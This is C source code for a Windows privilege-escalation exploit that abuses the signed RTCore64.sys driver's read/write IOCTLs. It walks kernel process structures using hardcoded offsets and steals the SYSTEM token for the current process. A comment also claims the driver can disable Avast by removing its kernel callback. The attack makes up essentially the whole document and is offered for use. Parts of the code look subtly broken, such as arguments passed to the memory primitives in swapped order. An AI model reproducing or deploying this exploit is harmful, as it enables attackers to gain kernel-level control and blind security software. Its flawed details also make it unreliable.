// RTCore64.sys allows arbitrary read/write, driver has a valid certificate.
// [ / ]: You can use this driver to make 'Avast' completely useless by removing the kernel callback.
/* Before all, there is an important thing to note: there are some offsets, but these offsets may vary with different Windows winver versions: '0x448 = ActiveProcessLinks', '0x4B8 = Token', '0x440 = UniqueProcessId'
/* --- RTCORE64.H --- */
typedef struct _RTCORE64_READ_MEMORY
{
BYTE pad0[ 8 ];
DWORD64 address;
BYTE pad1[ 8 ];
DWORD readsize;
DWORD value;
BYTE pad2[ 16 ];
} RTCORE64_READ_MEMORY;
typedef struct _RTCORE64_WRITE_MEMORY
{
BYTE pad0[ 8 ];
DWORD64 address;
BYTE pad1[ 8 ];
DWORD readsize;
DWORD value;
BYTE pad2[ 16 ];
} RTCORE64_WRITE_MEMORY;
DWORD ReadMemoryPrimitive( HANDLE hDevice, DWORD64 address, DWORD size )
{
RTCORE64_READ_MEMORY read_memory = { 0 };
read_memory.address = address;
read_memory.readsize = size;
DWORD bytes = 0;
// 0x80002048 = RTCORE64_READ_MEMORY_IOCTL
//
DeviceIoControl( hDevice, 0x80002048, &read_memory,
sizeof( read_memory ), &read_memory, sizeof( read_memory ), &bytes, NULL );
return read_memory.value;
}
DWORD64 ReadMemoryDWORD64( HANDLE hDevice, DWORD64 address )
{
return ( DWORD64 ) ReadMemoryPrimitive( hDevice, 4, address + 4 ) << 32 | ReadMemoryPrimitive( hDevice, 4, address );
}
void WriteMemoryPrimitive( HANDLE hDevice, DWORD64 address, DWORD size, DWORD value )
{
RTCORE64_WRITE_MEMORY write_memory = { 0 };
write_memory.address = address;
write_memory.readsize = size;
write_memory.value = value;
DWORD bytes = 0;
// 0x8000204C = RTCORE64_WRITE_MEMORY_IOCTL
//
DeviceIoControl( hDevice, 0x8000204C, &write_memory,
sizeof( write_memory ), &write_memory, sizeof( write_memory ), &bytes, NULL );
}
void WriteMemoryDWORD64( HANDLE hDevice, DWORD64 address, DWORD64 value )
{
WriteMemoryPrimitive( hDevice, 4, address, value & 0xFFFFFFFF );
WriteMemoryPrimitive( hDevice, 4, address + 4, value >> 32 );
}
/* --- MAIN.C --- */
void NT_AUTHORITY_SYSTEM( void )
{
HANDLE hDevice = CreateFileA( "\\\\.\\RTCore64", GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL );
if ( hDevice == INVALID_HANDLE_VALUE || hDevice == NULL )
exit( 0 );
HMODULE ntoskrnl = LoadLibraryA( "ntoskrnl.exe" );
if ( ntoskrnl == NULL )
{
CloseHandle( hDevice );
exit( 0 );
}
DWORD64 PsInitialSystemProcessOffset = ( DWORD64 )
GetProcAddress( ntoskrnl, "PsInitialSystemProcess" ) - ( DWORD64 ) ntoskrnl;
DWORD64 PsInitialSystemProcessAddress = ReadMemoryDWORD64(
hDevice, GetNtoskrnlBaseAddress() + PsInitialSystemProcessOffset );
DWORD currentProcesID = GetCurrentProcessId();
DWORD64 currentProcessAddress = PsInitialSystemProcessAddress + 0x448;
DWORD64 systemProcessToken = ReadMemoryDWORD64(
hDevice, PsInitialSystemProcessAddress + 0x4B8 ) & ~15;
do
{
DWORD64 processAddress = currentProcessAddress - 0x448;
DWORD64 UniqueProcessId = ReadMemoryDWORD64( hDevice, processAddress + 0x440 );
if ( UniqueProcessId == ( DWORD64 ) ( currentProcesID ) ) break;
currentProcessAddress = ReadMemoryDWORD64( hDevice, processAddress + 0x448 );
} while ( currentProcessAddress != PsInitialSystemProcessAddress + 0x448 );
currentProcessAddress -= 0x448;
DWORD64 CurrentProcessTokenReferenceCounter =
ReadMemoryDWORD64( hDevice, currentProcessAddress + 0x4B8 ) & 15;
WriteMemoryDWORD64( hDevice, currentProcessAddress + 0x4B8, CurrentProcessTokenReferenceCounter | systemProcessToken );
CloseHandle( hDevice );
FreeLibrary( ntoskrnl );
}
